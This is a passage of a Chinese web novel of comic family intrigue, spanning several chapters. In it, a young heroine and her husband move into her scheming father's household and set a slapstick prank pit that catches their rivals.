她喝了半口茶,深深吸了口气道:“皇子妃,奴婢照您的话去冷府传话,可到了以后才知冷将军竟然一大早就离城了,奴婢再三询问,才从冷家的下人口中得知他可能是去了华觉寺。”
“奴婢猜测冷将军应是去接谢夫人去了,便想着左右您这会儿去也赶不上,不如等您回了府再告知您这件事,但是没想到方才奴婢上街一趟,却听说城门口出了事,奴婢过去一看,竟是冷将军和谢夫人,还有丞相大人都在!”
谢元棠听到这里,已经约莫猜出是怎么个事儿了。
她冷冷一笑,嘲讽道:“该不是我那好大爹得了消息,去城门口截胡去了吧?”
“皇子妃您猜得太对了!可不就是嘛!”
红蕖又急又气:“这丞相大人真是不要脸,当街恳求夫人跟他回府,冷将军都快动手了,他也不走,反而在那儿演苦肉计。”
“还是白芙姐眼尖看见我在,让我赶紧来找您和殿下。”
“皇子妃,您快想想法子吧,现在城门口都围了好多人了呢!”
听完整件事,言尚冷哼道:“这谢兆青是疯了吗?玄昭丞相,被他当成了一个地痞无赖了!”
言关清也沉了脸,他看了眼谢元棠和司徒砚道:“你们莫急,我同你们一块儿去,看看到底怎么回事。”
司徒砚早就站起了身,着急地看着谢元棠:“娘子我们快去吧。”
谢元棠气极反笑,倒是没怎么着急。
“外祖父,舅舅,夫君,不必紧张,我小舅舅虽说口舌上争不过谢兆青,但到底功夫好,不会真的吃什么亏的。”
她微微一笑,对言关清道:“舅舅也不必跟我们同去,这点小事还用不着您出手,我自个儿就解决了。”
说罢,她才跟两人道别,拉着司徒砚和红蕖走了。
言尚看着几人风风火火的,不放心地对言关清道:“你还是暗中跟上去看看吧,若是她能处理就算了,若是不行,总不能让小丫头受委屈。”
“是,父亲您放心。”
言关清应下,命仆从去备车。
——
谢元棠赶到城门口的时候,正听
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见谢兆青痛哭流涕道:“蕴菀,我们十年的结发情啊,难道你当真心狠至此吗?”
“你是我的妻子元棠是我的女儿我们一家人就难道抛开过往重新开始阖家团圆吗?”
“也好我知道从前皆是我的不是今日我便是跪死在这里只要能求得你的原谅我也死而无憾了!”
听到这话马车里谢元棠翻了个大大的白眼。
司徒砚皱眉:“娘子他脸皮可真厚啊!”
“可不是么。”
谢元棠冷笑道:“可是谁叫这戏就是管用呢?”
苦肉计对付恋爱脑冷蕴菀死皮赖脸跪在地上让脾气火爆的冷云朝无计可施。
“啧……堂堂丞相聪明都用在这种地方了。”
谢元棠很是无语。
冷云朝同样无语甚至已经气到摩拳擦掌了。
“谢兆青你给老子滚蛋!再不滚老子打断你腿你信不信?”
谢兆青红着眼眶苦笑道:“云朝我脸上的伤可不就是你的杰作吗?你要是还没打够现在就可以接着打但你姐姐是我的妻子你断不能阻止我见我的妻子。”
“你……”
冷云朝气得一噎他不是怕谢兆青而是谢兆青这副样子他若是打他必定落人口实。
他自己无所谓但冷蕴菀刚从华觉寺回来他不想连累姐姐名声。
车中冷蕴菀冷眼看着这一幕。
若是没有女儿去找她那一次她现在只怕也会被谢兆青的苦肉计给蒙蔽了。
但如今再看才发现十年夫妻她竟不知眼前这个男人如此恶毒恶心!
冷蕴菀掀开车帘露出一张苍白清秀的脸:“谢兆青你也知我们十年夫妻便是如此待我吗?”
“蕴菀
冷蕴菀气得捏紧了手指说到底她和冷云朝都是性情单纯直接的人对付谢兆青这种小人他们实在不擅长。
就在这个时候一道脆生生的声音响起来:
“哎呀我的爹啊!看见您跪在这里棠棠真的好心疼呀呜呜呜……”
与此同时一道小身影朝着谢兆青迅猛地扑过来!
十来米的距离一点也不带刹车的直接扑到他背上。
“碰!”
直接将谢兆青整个人都给压回了地表!
第124章 我也有娘做的衣服了!
笑容啊~
它就那样僵尸在了谢兆青的脸上!
谢兆青心里抓狂,恨不得一巴掌把谢元棠和司徒砚给扇到宇宙尽头去!
怎么哪哪儿都有你俩呢?
偏偏他还不能拒绝!
怎么拒绝?
一个是亲女儿,一个是五皇子!
他刚立的爱妻爱女人设,总不能现在就崩了吧!
谢兆青嘴角抽搐,僵硬地、扭曲地扯出一个丑笑:“你们不忙吗?住谢府……不方便吧?”
谢元棠和司徒砚齐齐摇头。
“不忙不忙,闲得很!”
“方便方便,俺有车!”
谢兆青:“……那,行吧……”
住就住吧,想来他们俩也住不了几天。
等把他俩送走以后,再给冷蕴菀洗脑不迟!
冷云朝在一边看着,像是被打开了新思路一般,忽然开口:
“他们都去谢家住?那我也去!”
谢兆青:“……”
这次连扭曲的笑容也没有了,只有一张阴沉黑脸:“冷将军,这个是真不方便!”
冷云朝皱眉:“有什么不方便的?我又不占你家多大地儿,实在没房间我打地铺也行啊!”
谢兆青深吸口气,咬着腮帮子道:“不行!说什么都不行!”
要是让冷云朝这个武夫跟过去,那他家里还不得闹翻天了?
冷云朝还想再说,谢元棠笑嘻嘻道:“小舅舅,你不要担心娘亲啦,棠棠会保护好娘亲的。”
司徒砚紧跟着点头:“我也会保护好娘子的娘和娘子的!”
冷蕴菀:“……”这称呼什么时候能改改?
就这样,谢兆青计谋“得逞”。
带着冷蕴菀和谢元棠和司徒砚,还有白芙红蕖,还有冬儿和秋儿,还有佛音阁那几个跟着冷蕴菀的丫鬟护卫……等等一大堆人,声势浩大的回了谢家。
冷云朝一直将人送到家门口才转回。
一路上,谢兆青的脸就没好看过。
当然,被冷云朝揍得鼻青脸肿,加上又被大地母亲赐了一张香肠嘴,那张脸想好看也难。
到了家门口,谢兆青回头一看。
好家伙!
乌泱泱一大堆主子仆人!
谢兆青倒吸了口凉气一时间甚至担心他家粮食够不够吃!
这么多人他真的能找到机会给冷蕴菀洗脑吗?
“爹啊你傻了?”
谢元棠亮堂堂的声音让谢兆青回过神来一低头就看见他的小克星冲他笑。
“快让我们进去呀!棠棠很想念祖母魏莲还有妹妹呢~”
“急着跟她们打招呼呢~”
谢兆青:“……”老子信你个鬼!
左右都走到了这一步谢兆青深吸口气让开一步让仆人帮着将马车上的行李都搬进去。
谢元棠一手拉着冷蕴菀一手拉着司徒砚笑嘻嘻吩咐下人们:
“你们小心点呀这些都搬到我娘亲的院子里!”
“把我和夫君的东西也搬过去!”
正往前走的谢兆青听到这句话脚下猛地刹车转过头看着谢元棠:“你们要跟你娘一个院子住?”
谢元棠眨眨眼:“对呀不然呢?”
司徒砚:“不然呢?”
冷蕴菀:“不然呢?”
谢兆青深吸口气脸上露出讨好的笑容:“蕴菀咱们是夫妻啊……”
谢元棠小脑袋凑过来挡在娘亲面前:“我和夫君也是夫妻。”
“所以你们两个单独有院子住!”
谢兆青额头黑线气得他已经快要维持不了“慈父”的角色了!
“元棠为父给你和五殿下安排有院子你们就在自己的院子里住你娘……爹和你娘是夫妻晚上自然要睡一起的!”
他就不信他都说这么明白了小丫头还能听不懂!
谢元棠是听不懂吗?
她可太懂这狗爹的那点心思了!
说白了想睡想利用睡完利用完还想扔!
谢元棠翻了个白眼:个老渣男猪八戒做梦娶媳妇儿——想得倒美!
有她大佬棠在别想脏她娘亲半片脚趾甲!
谢元棠眼珠一转看着后面走近的人影大声道:
“啊!爹爹原来你是想跟娘亲睡觉啊!”
听到这话的魏莲脸色都白
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了三两步走过来不可置信地看着谢兆青:“老爷你……”
明明说把冷蕴菀找回来只是权宜之计结
果竟然想偷偷钻人家被窝?
魏莲微咬下唇眼眶泛泪:“老爷您是怎么跟我保证的?你……”
“好了蕴菀是本官发妻本官宿在她房里有何不可?”
谢兆青冷声打断魏莲的话不悦道:“你有这闲工夫不如先将这些人和东西都安置了另外元棠和五殿下也会在家里小住你立刻去安排好!”
魏莲:“……”她是下人吗?
出门前还叫她小宝贝一转眼就对她吆五喝六的!
魏莲咬唇委屈站在那儿不肯动。
冷蕴菀看着这一幕冷笑一声道:“不必了我身子不好伺候不了人只让女儿陪着我就行了。”
司徒砚急了:“那我呢那我呢?”
冷蕴菀:“……你也陪着。”
司徒砚松了口气他还以为他不能跟娘子住一块儿了呢。
谢兆青欲言又止冷蕴菀却看都不看他一眼只拉着女儿道:“走棠儿娘给你缝了件衣服
“娘亲还给我做新衣服了?”
谢元棠又惊讶又心疼捧住冷蕴菀的手道:“娘身子弱怎么还做这些事呢?这才几日您就缝了件衣服定是每天都在用针线肯定很辛苦!”
看着女儿懂事的样子冷蕴菀心都融化了抬手摸摸她的头发道:“娘亲不辛苦娘想着我的棠儿可以穿上娘做的新衣心里不知道多开心呢。”
司徒砚跟在旁边乖乖地没插话只是听到这句的时候好奇地看过来一眼。
冷蕴菀:“……”
她唇角微微抽了抽叹了口气有点无奈又有点宠地白了眼傻女婿:“给你也缝了件待会儿你也试试吧!”
司徒砚桃花眼瞬间亮了:“我也有?真的吗真的吗?我可以有吗?”
他还从未穿过家里长辈亲手做的衣服。
娘亲做的衣服是什么感觉……他也不知道。
冷蕴菀看着傻女婿这么开心的样子也跟着笑了点点头道:“都有都有。”
司徒砚勾着笑开心地抱起谢元棠转了好几圈:“娘子我也有娘做的衣服了!”
第125章 这是不是代表,你有一点点喜欢我了?
“哎呀我听到啦!”
谢元棠被他忽然举高高,笑着勒住他脖子道:“要晕了要晕了哈哈~快放我下来啦!”
银铃般的笑声在院中响起。
冷蕴菀看着小活宝,眼中也不由露出笑意来。
尤其看着司徒砚露出那样纯白无瑕的笑容,她忽然觉得,幸亏自己多缝制了一身衣服。
“好了你们两个,仔细闹出一身汗来,快去试衣服去。”
冷蕴菀笑着道。
白芙在旁边跟着笑:“殿下,皇子妃,跟奴婢来吧。”
“哎!娘亲您先歇着,我和夫君试穿出来给您看。”
谢元棠说完,就兴高采烈地拉着司徒砚跑了。
看着两人孩子似的的背影,冷蕴菀好笑地摇了摇头。
她在谢府的院子还需要重新收拾,冬儿秋儿等人负责收拾,红蕖便扶着冷蕴菀在花厅坐下。
“夫人您先喝点茶润润嗓子。”
冷蕴菀看着眼前伶俐的丫鬟,笑着问:“你便是红蕖了吧?我听白芙提过你,说你很是机灵,今天也是你去找的棠儿吧?我还没谢过你呢。”
“夫人这话可折煞奴婢了。”
红蕖羞红了脸,笑着道:“奴婢能跟着皇子妃和殿下,是奴婢几世修来的福气,那都是奴婢该做的,可不敢当谢字。”
“怎么不敢当?”冷蕴菀笑着摘下手上的玉镯送给她,“做得对就该谢,这个你不嫌弃的话就收下吧,当做一点见面礼,也算是我谢谢你们将棠儿照顾得这么好。”
“夫人,这我……”
红蕖惶恐,她可不敢收这么贵重的礼物,正推拒着,白芙引着谢元棠和司徒砚出来,看见这一幕便走上前劝她:“快收着吧,没关系的,夫人也送我了。”
“正是,一个镯子有什么的,赶紧戴上。”
冷蕴菀出手大气,抬起红蕖的手替她戴好,叹道:“我这当娘的照顾不好女儿,也只能用这种方式来弥补自己的愧疚了。”
“娘您说什么呢?我可听见了昂!”
谢元棠穿着新衣,小跑着上前,抱住冷蕴菀的胳膊撒娇道:“什么愧疚嘛,娘要是愧疚,那棠棠岂不是也要内疚不能承欢娘亲膝下?”
“所以娘亲不许愧疚,棠棠不许娘亲瞎想
这些!”
小丫头口齿伶俐,糯糯的嗓音听得人心情都跟着好起来。
“好,娘听棠儿的。”
冷蕴菀笑了笑,抬手摸摸她头上的两个揪揪,柔声道:“快站好,让娘看看衣服合不合身?”
“噔噔噔~”
谢元棠拎着裙摆转了个圈圈:“合身着呢,娘亲做的又舒服又好看!”
浅绿色的衣裙分成上下套装,上面绣着绿色的大朵荷叶,和粉白色的荷花相映,仿佛荷花精灵,一跑一跳地跃在水泊湖面,十分灵动轻盈。
红蕖也惊讶道:“夫人手真巧,夏天穿这浅绿色正好,又好看又不显闷!”
白芙也在一旁笑着附和:“挑布料的时候,夫人一眼就相中了这浅绿色,就想着咱们小皇妃穿上好看呢。”
“嘻嘻~”
谢元棠开心地晃了晃脑袋,抱着冷蕴菀蹭蹭她胳膊:“娘亲真好!”
她前世是孤儿,两辈子也是第一次穿母亲做的衣裳,仿佛心底那个巨大的空洞和孤单,在穿上这身衣服的时候就被填满了似的。
冷蕴菀看看女儿:“棠儿喜欢就好,以后娘亲还会给你做很多衣服的。”
她以前错失了太多陪伴女儿的机会,日后再也不会了。
母女两这边都说完了,司徒砚还呆呆地站在门口。
谢元棠朝他招手:“夫君站那里干吗?进来呀。”
司徒砚白皙的俊脸微微泛红,有点扭捏地走进来,小声道:“我觉得……我穿这个怪怪的。”
他身上是一件白衣,只在袖口和下摆缀了些浅绿的荷叶和蓝色水波纹,看着仙气飘飘,如出世谪仙,不染凡尘烟火。
冷蕴菀等人眼前一亮,虽然早知道司徒砚长了张好样貌,却是此刻才知这人能妖到什么程度。
这衣服穿别人身上顶多也就风流洒脱,但他穿着就……
让人想要推倒!
红蕖捂着小脸,拍着胸口对白芙道:“好险,我差点就对不起皇
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子妃了。”
白芙:“……”倒也不用说出来。
知道他们三人有话要说,白芙便有眼色地拉着红蕖出去了。
冷蕴菀微笑地看着美艳无双的女婿,点点头道:“挺好看,跟棠儿的是一套呢。”
司徒砚
不自在地拽拽袖子:“真的好看吗?我没穿过这样的。”
“当然好看啦!”
谢元棠笑着拉住他手:“夫君穿什么都好看。”
司徒砚紧了紧拉着她的手,转头看向冷蕴菀,深吸口气,一个九十度鞠躬:“谢谢娘子的娘送我衣服,我很喜欢。”
冷蕴菀:“……”
虽然知道你的诚心,但这感谢的方式真的……
她有些无奈的笑:“说句谢就行了,不用鞠躬,怪吓人的。”
司徒砚眨眨眼:“哦,我记住了,谢谢娘子的娘。”
冷蕴菀:“……”
她转头看向女儿:“他为什么对我的称呼这么怪?你教的?”
谢元棠耸了耸肩:“这我可没有教,娘自己问夫君呗。”
于是冷蕴菀便看向司徒砚,她其实是有话直说的性子,不会藏着掖着什么,便开门见山道:
“你是不习惯叫我娘吗?这样的话,你叫我母亲也是可以的,你和棠儿既然是夫妻,总不能老是‘娘子的娘’这样称呼我吧?”
司徒砚怔了怔,抿着唇没吭声。
冷蕴菀想起谢元棠之前说的,太长的句子他可能跟不上反应,于是耐心解释道:
“砚儿……我可以这样叫你吗?我不是逼你叫我母亲的意思,你若是不愿……”
“我不敢……”
她话还没说完,突然听见司徒砚很低的声音。
“娘子的娘不喜欢我做娘子的夫君,我知道的……所以我不敢叫你娘……”
“可是你给我做衣服……从来没有人给我做过衣服……”
司徒砚顿了顿,有些小心翼翼地看着冷蕴菀:
“这是不是代表,你有一点点喜欢我了?”
“我真的可以叫你娘?可以做娘子的夫君了吗?”
第126章 要不您假装信一下呢?
他的语气其实很平稳,声调没有多大的起伏。
却听得冷蕴菀心中一酸。
她是当母亲的人,尤其看不得这样受委屈却还默默忍受的傻孩子。
冷蕴菀当即就红了眼眶,抬手拉住司徒砚的手腕道:“当然,你是棠儿的夫君,当然该叫我娘。”
司徒砚目光微动。
冷蕴菀愧疚地看着他道:“砚儿,之前在华觉寺是我不好,我……我不是不喜欢你,只是作为娘亲,我更喜欢自己的女儿,你……能原谅我吗?”
司徒砚摇摇头:“你又没有错,我也没有生你的气,为什么要原谅你?”
“本来就是我不够好,我是傻子,还总让娘子陷入危险,是我不好。”
他越这么说,冷蕴菀越心疼,眼眶都红了。
谢元棠在旁边看着,连连叹息。
看吧,就说不是她一个人容易对傻夫君心软。
她娘,她小舅舅……哪个没被他拿下?
冷蕴菀是个感性的人,抹着眼泪拉着司徒砚说贴心话。
但司徒砚明显不像以前那么傻了,他还不忘问:“那我叫你娘,你以后还会给我做衣服吗?”
“当然。”
“那你是不是不会抢走娘子了?”
“当然……嗯?”
冷蕴菀愣了下,后知后觉反应过来自己好像被套话了。
“噗!”
谢元棠捂着小嘴偷笑:“娘诶,我夫君现在可聪明着呢,你别被他唬了去!”
司徒砚眨眨眼:“不聪明,傻的。”
他转头盯着冷蕴菀:“娘答应我。”
冷蕴菀又是好笑又是无奈:“只要棠儿愿意,我没什么意见。”
说到这里,她话音一顿,正色道:“但是有一点,砚儿你不可以欺负棠儿,你们……在棠儿及笄之前,不可以睡在一张床上,不可以……同房,你懂同房的意思吗?”
司徒砚桃花眼中闪过一抹疑惑:“是生小娃娃吗?孙逢必说我不能跟娘子生小娃娃,会伤害她的,司徒砚不会伤害娘子的。”
“那也不可以睡一张床。”冷蕴菀叹气道,“我明白你天性单纯,但是这件事,请你务必答应我才好。”
她相信司徒砚的为人,可女儿毕竟才九
岁为着女儿着想她必须将这点原则说清楚。
司徒砚欲言又止一旁谢元棠眼珠一转笑嘻嘻道:“这点好办娘亲放心我今晚就办好。”
“可是娘子我不跟你一起睡万一你丢了怎么办?”
司徒砚怕极了她掉井的事每天夜里醒来都会看一眼确认她还在身边才好。
谢元棠笑着朝他眨眨眼:“放心我有办法。”
冷蕴菀狐疑地看着女儿不知道她又想出了什么鬼主意。
这之后谢元棠便找罗吉几人帮忙在院子里又是锯木头又是钉钉子的一直忙活到了晚饭时候才完工。
“成了把这个防蚁油涂上晾干后搬我屋里去就好了。”谢元棠拍拍小手。
司徒砚惊讶地看着那架上下铺:“娘子这个……是我们的床吗?”
“对啊!”
谢元棠伸出小手拍拍他的胳膊一副“哥俩好”的语气道:“以后你就是睡在我下铺的兄弟了!”
“可是我不是你兄弟啊我兄弟有好多呢我才不跟他们睡上下铺呢。”
“那就姐妹。”
“哦好!”
冷蕴菀:“……”罢了
自他们回府谢兆青一直就没再出现过。
红蕖出去一圈回来后说前院吵得厉害谢老夫人魏莲谢雨沫老中少三个女人围着谢兆青嚷嚷最后谢兆青愤而离家三人才消停下来。
红蕖担忧道:“皇子妃她们今晚不会来找麻烦吧?”
谢元棠哼哼:“怕她们来啊?”
“就是!”
司徒砚撸袖子:“告诉白芙他们夜里准备好随时准备抄家伙!”
红蕖:“……”不是你俩就没想来谢府安生是吧?
谢元棠是无所畏惧不过她想了想翘着二郎腿一边嗑瓜子一边道:
“算了娘亲刚回来确实需要好好休息。”
“这样吧你让人去咱们门口挖
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个坑灌一桶芥末水再吊一包辣椒粉别的就不用管了。”
司徒砚补充道:“要不再往地上铺一层钉子吧!”
大半夜钉子土坑芥末辣椒粉……
红蕖下意识打了个寒颤心说这一
通骚操作下来那人哪还有力气找麻烦!
可不就是不用再管了嘛!
他们小皇妃和殿下真是……越来越狠了!
不过……
俗话说建立在别人痛苦上的快乐就是爽!
一想到谢府那些人可能会掉坑红蕖就兴奋得摩拳擦掌:“皇子妃您放心我这就去挖坑还有芥末和辣椒绝对管够!”
谢元棠挥挥小手没在意这点小事。
她在想谢兆青都将他们带回来了怎么不过来表现表现反而这个时候还出门了?
正想着一个护卫进来:“参见五皇子参见皇子妃奴才黎休是佛音阁的护卫。”
谢元棠有些疑惑地看着黎休他刚才才帮她做了张上下铺怎么这会儿又进来了?
“怎么了?”
黎休将袖中的纸条递上前道:“这是佛音阁刚刚送来的消息请您过目。”
佛音阁还会送消息给她?
谢元棠歪了歪头似笑非笑地看了眼司徒砚又看了眼黎休:“我不记得我在你们佛音阁有定制这种业务啊。”
“咳……”
黎休偷偷瞄了眼司徒砚尴尬道:“阁主说这是友情赠送的。”
司徒砚皱眉:“你说话为什么要先看我一眼?搞得我和你们阁主好像有什么见不得人的关系似的。”
黎休:“……”
见他沉默
“我可是很守男德的你别害我!”
黎休:“……不殿下和我们阁主是清白的。”
谢元棠皮笑肉不笑:“你觉得我信吗?”
黎休:“……要不您假装信一下呢?”
谢元棠翻了个白眼懒得揭穿他。
她接着纸条待看清上面的内容后表情忽然意味深长起来。
“原来这才是我那好大爹急着出门的原因呀!”
第127章 她们这是组团来的?
“娘子,大爹出门的原因是什么啊?”
司徒砚好奇地凑过来,谢元棠直接把纸条递给他,顺便道:“你不许叫他大爹,我那是嘲讽,你叫就变成给他脸了!”
“哦,那我叫什么啊?”
五殿下很乖,五殿下一点都不绿茶。
所以五殿下只是单纯无邪地问了句:“叫他老王八行吗?”
谢元棠看着那张招人的俊脸,伸出小手捏捏他的脸颊道:“夫君,你真是学废了啊!”
司徒砚歪歪头。
学废是什么?
不懂呢~
谢元棠小手托着腮道:“私下叫他混蛋老鳖老不死的都行,但正经场合的话,你还是得装装样子的,直呼其名就好了。”
“记住了。”司徒砚点点头,嘴里还将谢元棠说的那几个称呼小声重复了一遍。
黎休站在那儿,看着他一本正经地念叨“老鳖老不死”,只觉得三观都幻灭了。
不管是单纯赤诚的五皇子,还是那位让人敬畏的存在,至少都是正经人。
可现在……
黎休忽然觉得,照这样下去,如今的五皇子说不定会比那位成长为更恐怖的存在!
毕竟,某种程度上来说,“嘴贱”也是一项无敌的精神摧毁术!
而且还是轻易学不到那种。
而现在,五皇子有了一位最好的老师!
黎休心里腹诽着,悄悄抬头看了眼谢元棠,不想一抬头就对上了那双黑白分明的大眼。
谢元棠眯起眼睛,小酒窝溢着危险的笑容:“黎休锅锅~我怎么觉得你在偷偷骂我呢?”
“没……不敢……我骂我自己……”
一声“锅锅”,吓得黎休顿时一个激灵,想也不想三连否认!
谢元棠翻了个白眼,转头看见司徒砚还在看纸条,不由问:“怎么了夫君?”
“娘子,暗香楼是哪里?老王八为什么要去那里吃野味啊?那里的野味很好吃吗?”
司徒砚迷茫地抬起头:“好吃的话,我们也去吃好不好?带上娘一块儿去!”
谢元棠有点意外:“孙逢必没教你这个?”
真没想到,这个孙逢必还算有点良心嘛,没把她夫君教坏!
谢元棠拿过纸条撕了:“
那里的野味不好吃咱们不吃昂。”
“哦好。”司徒砚点头完全没有任何好奇和疑问。
谢元棠看向黎休道:“今天太晚了你派人去盯着下回他再去记得想办法把人拦住。”
“是。”
黎休不知道她把人拦住想干吗但总觉得有股不祥的预感。
谢元棠又吩咐了一些小事才疲惫地伸了个懒腰回房睡觉。
这是回谢府的第一晚谢元棠跟娘亲睡。
司徒砚一个人住上下铺上半夜睡上铺下半夜睡下铺。
半夜的时候谢元棠听见院子里传来好几声惨叫声。
她翻了个身没理会躺在娘亲怀里又睡了。
第二天清早谢元棠一醒来就看见白芙和红蕖笑容满面的脸。
她伸出小手揉了揉眼皮嘟囔道:“白芙姐姐红蕖姐姐你俩大早上捡钱啦?”
“比捡钱还让人开心呢!”
红蕖激动地指着外面:“小皇妃快去看看吧咱们挖的那个坑收获可丰盛了呢!”
谢元棠眼睛一亮穿上鞋就想往外跑被白芙拉住道:“皇子妃别急着跑先穿好衣裳仔细着凉虽然现在天气热了但早上还是有凉气的。”
一边说白芙一边利索地替她穿好衣服。
谢元棠跑出门就看见司徒砚等人都围在那个坑旁边居然连她娘都在!
看见她醒来司徒砚大步回来拉她:“娘子快来看!”
谢元棠更好奇了不就那点东西嘛收获还能有多丰盛?
她凑到跟前低头一看。
好家伙!
好几件女式衣裙几双鞋连袜子都有!
镯子发簪耳坠荷包……
还有支拐杖!
谢元棠眨了眨眼懵了。
“她们这是组团来的?”
“还是来给咱们上供来了?”
冷蕴菀捂着嘴笑得眼泪
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都下来了:“可不是么为娘也是没想到她们竟然这么客气!”
红蕖指着其中一抹白道:“皇子妃快看那里还有条内衬的短裤也不知道是谁的哈哈哈哈!”
谢元棠笑得乐不可支
“来
来来找几个人下去把东西捞出来衣服都扔了那些荷包啊簪子镯子啊你们出去卖了换成钱当给大家伙的挖坑费!”
“噗挖坑费这个好哈哈哈哈!”红蕖大笑。
白芙快速的估算着笑道:“大概能换个百十两呢核算下来咱们每个人能分十几两银子呢!”
秋儿冬儿惊了:“这么多?那我希望她们多来几趟!”
“哈哈哈哈我也希望!”
这边一院子的欢声笑语
“哎哟我的屁股我的手胳膊脚腿后背前胸……”
“你们愣着干什么?快给我抹药啊!”
几个丫鬟站在床前看着那惨不忍睹的老树皮身体无措道:“老夫人……这奴婢们不知道该先抹哪儿啊。”
他们那点药抹了前面顾不上后面抹了下面顾不上上面。
谢老夫人怒道:“都抹上!还有马上去找我儿子回来!我今天一定要让娘俩滚出这个家!”
“是。”
另一边院子里。
“啊啊啊啊疼啊娘你轻点!”
谢雨沫扯着嗓子干嚎:“我的脸呜呜呜……娘我脸疼我好不容易长着的伤口好像又裂开了!”
魏莲自己也一身伤这会儿看着女儿那张被辣椒粉烧得红彤彤的小脸又恨又气道:“昨晚都说了让你不要跟过去你非说要亲自去给谢元棠一点颜色瞧瞧你这张脸若是毁了你爹还能向着你?”
“娘你现在说这些也晚了啊我怎么能想到她会在门口挖个坑!”
谢雨沫恨得咬牙:“肯定是谢元棠搞的鬼冷蕴菀养了我那么多年她才没这个脑子呢!”
提到谢元棠魏莲也沉了脸:“这个小妖女每次都跟我们作对。”
“娘不能让她再这样兴风作浪下去了!”
“咱们要想个办法让谢元棠彻底消失!”
第128章 舅舅两个好~
不得不说,有梦想还是很美好滴!
最起码,它可以让大家在上早朝的无聊之后,一出宫门就闻到浓浓的瓜味儿!
谢兆青昨天跟魏莲大吵一架,又不想回去面对谢元棠那个小克星,于是跑到暗香楼宿了一晚。
经过暗香楼小美人一晚上的抚慰大法,他今日才觉得神清气爽。
虽说步履有些虚浮,眼下有些乌青,但至少精神上是幸福的!
只是这份幸福,在出宫门看见守在那儿的谢府小厮后戛然而止。
谢兆青没好气地看着小厮:“你来这里做什么?”
小厮被谢老夫人和魏莲夺命连环催,让他务必半个时辰内把谢兆青带回去,否则就扣他两年的月钱。
这会儿小厮急得脸上都流汗了,一时也顾不得周围有人没有,扯着嗓门急道:“大人,您快回去看看吧!家里都快闹翻天了!”
他这话一出,路过的官员有一个算一个,都停下了脚步。
唔~不管男女,谁又不喜欢吃瓜呢!
尤其知道谢兆青昨日将冷蕴菀和谢元棠都带回了谢府,这……一天不到就闹起来了?
这么刺激的?
眼看周围的人都朝他投射过来冒着精光的神情,谢兆青脸都黑了,沉声道:“有什么事回去再说,本官忙着,你先走吧。”
“不行啊大人,老夫人说要是小的不在半个时辰内将您带回去,她就扣我两年的月钱!”
小厮都快急哭了:“而且老夫人还说,您要是不肯回来,就让我跟您说她要上吊。”
谢兆青嘴角抽搐:“……她那么大年纪上什么吊?一个月三十天上三十九次吊,她不累吗她?”
小厮小声道:“我哪儿知道,反正老夫人这么说的,我出门的时候她绳子都找好了。”
“哟!谢兆青,你老娘要上吊啊!”
冷云朝阴阳怪气地走过来:“哎呀,从你家到这里少说也得一刻钟了吧,这一刻钟还没吊死,你老娘命挺硬的啊!”
“冷将军慎言!”
谢兆青气得太阳穴直跳,当着这么多人面也没办法多说什么,正打算上马车,冷云朝却牵过马道:“我也去!”
听着这句话,谢兆青差点一头磕在车门上。
他回头瞪着
冷云朝:“你去干什么?”
“我去看看你谢府有没有虐待我姐姐和小外甥女,怎么样,不行吗?”
冷云朝冷哼一声道:“你昨日可是当着百姓的面,承诺过会好好待她们的,但从你家小厮的话来看,似乎不是这样!”
“所以本将军要亲自去看个清楚!”
谢兆青呼吸一滞,却又没有理由阻拦,只好咬牙道:“行,你要去就去吧。”
说完,他正要上车,忽然听见身后一道声音传来:“丞相大人留步。”
言关清。
谢兆青没好气地回头:“太傅何事?该不会也想去本官家里看热闹吧?”
“那倒不是。”
言关清微微一笑,声音清冷:“只是今日学堂的夫子托本官给殿下和小皇妃带了张字帖,本官需要亲自交给他们才行,想必丞相不会拒绝吧?”
谢兆青:“……”我拒绝有用吗?
他铁青着脸看看言关清再看看冷云朝,咬紧牙道:“随你们。”
说罢一头钻进马车,命令车夫快速往家赶。
其余候在宫门口的官员你看我我看你。
“哎呀王大人,你家不是在东边吗?哦……去西边逛街啊,巧了,我也去。”
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“哟呵李大人,您老怎么也走这条路?哦……迷路了啊,迷路好,迷路好,顺其自然走到哪儿算哪儿吧!”
很快,百姓们就发现今日许多文官武将,都默契地从同一条街上溜达过。
宫里头,司徒擎听见这事儿,皱紧眉头道:“怎么又是谢家?这谢兆青怎么连这点事都办不好?”
连小家都管不好,能当得了丞相一职?
司徒擎越来越怀疑他当初是怎么瞎了眼,才让谢兆青上位的。
曲培小声道:“皇上不必烦心这些,奴才觉得……有人自会替您管束丞相大人的。”
“嗯?”
“昨儿个,小皇妃和五殿下不是去谢家了么,听说……”
宫里的消息传得快,司徒凤一边跟司徒雅
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嗑瓜子儿一边道:“真想去看热闹呀!也不知道谢元棠怎么就那么大本事,轻而易举就把谢家那几个气得上蹿下跳的。”
司徒雅莞尔一笑:“三妹还是少出宫的好,别忘了近日可是不太平呢。”
“我知道,不就是那个没抓到的口技人嘛。
司徒凤哼了声:“也不知道是谁派的人,成天闹得人心惶惶的,若是让我抓住他,肯定饶不了他!
司徒雅捏着瓜子的手指微微一顿,笑了笑没说话。
——
丞相府。
谢兆青和冷云朝和言关清一块儿进的谢家大门。
“人呢?他冷声问。
家里的丫鬟没想到除了自家老爷,还来了这么两尊大佛,一时表情古怪地指了指后院:“在……在夫人的院子里。
谢兆青蹙眉,难道母亲和魏莲她们果真是去找冷蕴菀的麻烦了?
三人快步往后院走。
原本冷云朝和言关清都不方便进后院的,但谁让他们理由充分呢!
到了院门口,还隔着老远,三人就听见谢老夫人和魏莲尖刻的哀嚎:
“哎哟喂活不了了啊!老天爷啊,我们谢家这是造了什么孽哟~
“夫人,您怎么能这样对我们?您真有气冲我来,雨沫还那么小,您怎么忍心啊!
“……
和她们的哀嚎相比,另一边显得格外安静。
院门口那个大坑已经被谢元棠填平,这会儿上面摆着三张太师椅。
本来冷蕴菀坐在正中间,但谢元棠要挨着娘亲坐,司徒砚要挨着娘子坐。
于是就变成谢元棠坐在正中央的椅子上。
小身子靠着,小短腿翘着,手里还拿着一根糖葫芦。
另一边司徒砚手里拿着剥好皮的烤红薯,不过是朝向谢元棠这边,方便她一口糖葫芦,一口烤红薯。
心里担心他们会受欺负的冷云朝和言关清:“……
看来白担心了。
谢元棠眼尖地看见他们三人过来,小手挥了挥道:
“两个舅舅好,过来吃点喝点啊!
司徒砚也跟着挥手:“舅舅两个好~
冷云朝言关清:“……
你们还真是一点不紧张啊!
第129章 孩子静悄悄,一定在作妖!
看见谢兆青回来,谢老夫人等人立刻像找到了靠山似的围了过去。
谢老夫人拉着谢兆青左胳膊:“儿啊,你再不回来!娘真的是没法活喽啊!”
